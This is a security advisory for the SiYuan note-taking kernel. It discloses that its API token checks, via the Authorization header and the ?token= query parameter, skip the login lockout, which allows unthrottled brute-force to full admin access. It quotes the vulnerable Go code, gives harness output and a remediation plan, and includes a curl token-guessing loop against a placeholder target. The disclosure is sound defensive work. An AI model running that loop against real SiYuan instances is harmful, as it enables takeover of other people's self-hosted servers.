Severity: High

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 3.7.3 (confirmed present in 3.7.3 by source review; mechanism is architectural, not a recent regression — maintainers should confirm lower bound)

Patched versions

(none yet — leave blank until a fix is released)

Description

Summary

SiYuan protects network-exposed kernel instances with two independent admin secrets: the workspace "lock screen" access code (Conf.AccessAuthCode) and a separate API token (Conf.Api.Token), intended for programmatic/plugin/automation access. The API token can be submitted through two request paths inside the CheckAuth() middleware — an Authorization: Token/Bearer <token> header, and a ?token=<token> query parameter — and neither path is protected by the application's CAPTCHA/lockout mechanism. This mirrors the root cause of GHSA-w3xh-mmmh-r54v (the Basic Auth / AccessAuthCode bypass), but affects a distinct secret and a distinct pair of code branches, so it is not fixed by patching that issue. A user who sets a short/weak custom API token via setAPIToken() — a documented, encouraged workflow for third-party integrations — is exposed to fully automated, unthrottled remote brute-force of that token, resulting in full RoleAdministrator access.

Details

kernel/util/session.go defines the intended throttle:

func NeedCaptcha() bool {
    return 3 < WrongAuthCount
}

kernel/model/session.go's LoginAuth() (the cookie/session login endpoint for AccessAuthCode) correctly uses it, incrementing WrongAuthCount on every failed guess.

However, CheckAuth() — the middleware applied to essentially every API route in kernel/api/router.go (400+ routes) — also independently accepts a second secret, Conf.Api.Token, through two branches, neither of which references WrongAuthCount or NeedCaptcha() at all:

// 通过 API token (header: Authorization)
if authHeader := c.GetHeader("Authorization"); "" != authHeader {
    var token string
    if after, ok := strings.CutPrefix(authHeader, "Token "); ok {
        token = after
    } else if after, ok := strings.CutPrefix(authHeader, "token "); ok {
        token = after
    } else if after, ok := strings.CutPrefix(authHeader, "Bearer "); ok {
        token = after
    } else if after, ok := strings.CutPrefix(authHeader, "bearer "); ok {
        token = after
    }

    if "" != token {
        if Conf.Api.Token == token {
            c.Set(RoleContextKey, RoleAdministrator)
            c.Next()
            return
        }
        c.JSON(http.StatusUnauthorized, map[string]any{"code": -1, "msg": "Auth failed [header: Authorization]"})
        c.Abort()
        return
    }
}

// 通过 API token (query-params: token)
if token := c.Query("token"); "" != token {
    if Conf.Api.Token == token {
        c.Set(RoleContextKey, RoleAdministrator)
        c.Next()
        return
    }
    c.JSON(http.StatusUnauthorized, map[string]any{"code": -1, "msg": "Auth failed [query: token]"})
    c.Abort()
    return
}

Both branches run before the AccessAuthCode cookie/Basic-Auth checks later in the same function, and a match on either grants RoleAdministrator immediately. A trace of every reference to util.WrongAuthCount in the codebase confirms it is touched only inside LoginAuth() — the API-token branches are entirely disconnected from the throttle, identically to the previously-reported Basic Auth issue.

The comparison Conf.Api.Token == token is also a plain Go string == (byte-wise, early-exit) comparison rather than crypto/subtle.ConstantTimeCompare, contributing a secondary timing side-channel (CWE-208), same as the prior finding.

Why the token is realistically weak in practice: the token defaults to a high-entropy 16-character random string (kernel/conf/api.go, NewAPI(): gulu.Rand.String(16)), so out-of-the-box installs are not practically brute-forceable. However, setAPIToken() (kernel/api/system.go) accepts and stores any string as the token with no minimum length or complexity check:

func setAPIToken(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    token := arg["token"].(string)
    model.Conf.Api.Token = token
    model.Conf.Save()
}

Setting a short, memorable custom token is a common real-world pattern for users wiring up browser extensions, shell scripts, or home-automation tools against a self-hosted kernel — exactly the audience Conf.Api.Token exists to serve.

PoC

Full kernel build requires Go ≥1.26 and access to proxy.golang.org, which was unavailable in the review sandbox (same constraint as the original report), so the control-flow logic was extracted verbatim (identical conditionals, identical branch order, only I/O plumbing swapped from gin to Python's stdlib http.server) into a minimal harness and live-tested with real HTTP traffic:

=== Baseline: 1 wrong query-param guess ===
{"code":-1,"msg":"Auth failed [query: token]","wrongAuthCount":0}

=== 500 wrong ?token= guesses in a tight loop ===
Guesses sent: 500, false positives: 0

=== State after 500 failed attempts ===
{"code":-1,"msg":"Auth failed [query: token]","wrongAuthCount":0}   <- UNCHANGED, needCaptcha never trips

=== Attempt with correct token ===
{"code":0,"msg":"admin access granted","wrongAuthCount":0}          <- instant, zero friction

To reproduce directly against a real kernel build (Go ≥1.26), targeting a workspace with a custom short Conf.Api.Token set via setAPIToken:

# Target: SiYuan with network serve enabled and a short custom API token set
for tok in 0000 0001 0002 0003 ...; do
  curl -s "http://<target>:6806/api/system/getConf?token=$tok" \
    -o /dev/null -w "%{http_code} $tok\n"
done
# Expected if vulnerable: unlimited 401s with no captcha challenge/lockout,
# then 200 on the correct token — at any point, regardless of prior failures.

# Header variant:
curl -s -H "Authorization: Token 0000" http://<target>:6806/api/system/getConf

Impact

Any SiYuan kernel reachable over the network (the documented/supported "self-hosted server" deployment) whose operator has set a short-to-medium-strength custom API token via setAPIToken is exposed to fully automated, unthrottled remote brute-force of that token. A successful guess grants complete RoleAdministrator privileges: arbitrary file read/write (/api/file/getFile, /api/file/putFile), SQL query execution (/api/query/sql), full workspace export, plugin RPC, and process control — identical blast radius to GHSA-w3xh-mmmh-r54v, but reachable independently of whether a lock-screen AccessAuthCode is configured at all, and via a simpler ?token= query-string request that also risks leaking the token into proxy/server access logs (CWE-598).

Impacted parties are self-hosted/network-exposed SiYuan operators who have customized Conf.Api.Token to a short/weak value for third-party integrations, which the UI does nothing to discourage since no minimum length/complexity is enforced server-side in setAPIToken.

Affected products

Severity

Weaknesses (CWE)

• CWE-307 — Improper Restriction of Excessive Authentication Attempts (primary)
• CWE-208 — Observable Timing Discrepancy (secondary/contributing, non-constant-time token comparison)
• CWE-598 — Use of GET Request Method With Sensitive Query Strings (secondary/contributing, ?token= variant)

Relationship to GHSA-w3xh-mmmh-r54v

This is not a duplicate. Both issues share a root cause (branches inside CheckAuth() that verify a secret without ever consulting NeedCaptcha()/WrongAuthCount), but they:

• guard two different secrets (Conf.AccessAuthCode vs. Conf.Api.Token),
• are reachable via different code branches (Basic Auth vs. Authorization: Token/Bearer header and ?token= query param),
• have different default-configuration risk profiles (empty-by-default short PIN vs. high-entropy-by-default token, weakened only if the operator customizes it).

A fix for one does not fix the other. Recommend the same remediation pattern for both: route every secret-verification branch in CheckAuth() through the shared NeedCaptcha()/WrongAuthCount throttle, switch to crypto/subtle.ConstantTimeCompare, and enforce a minimum length/complexity in both setAccessAuthCode and setAPIToken.

Credits

• alhamrizvi-cloud — Reporter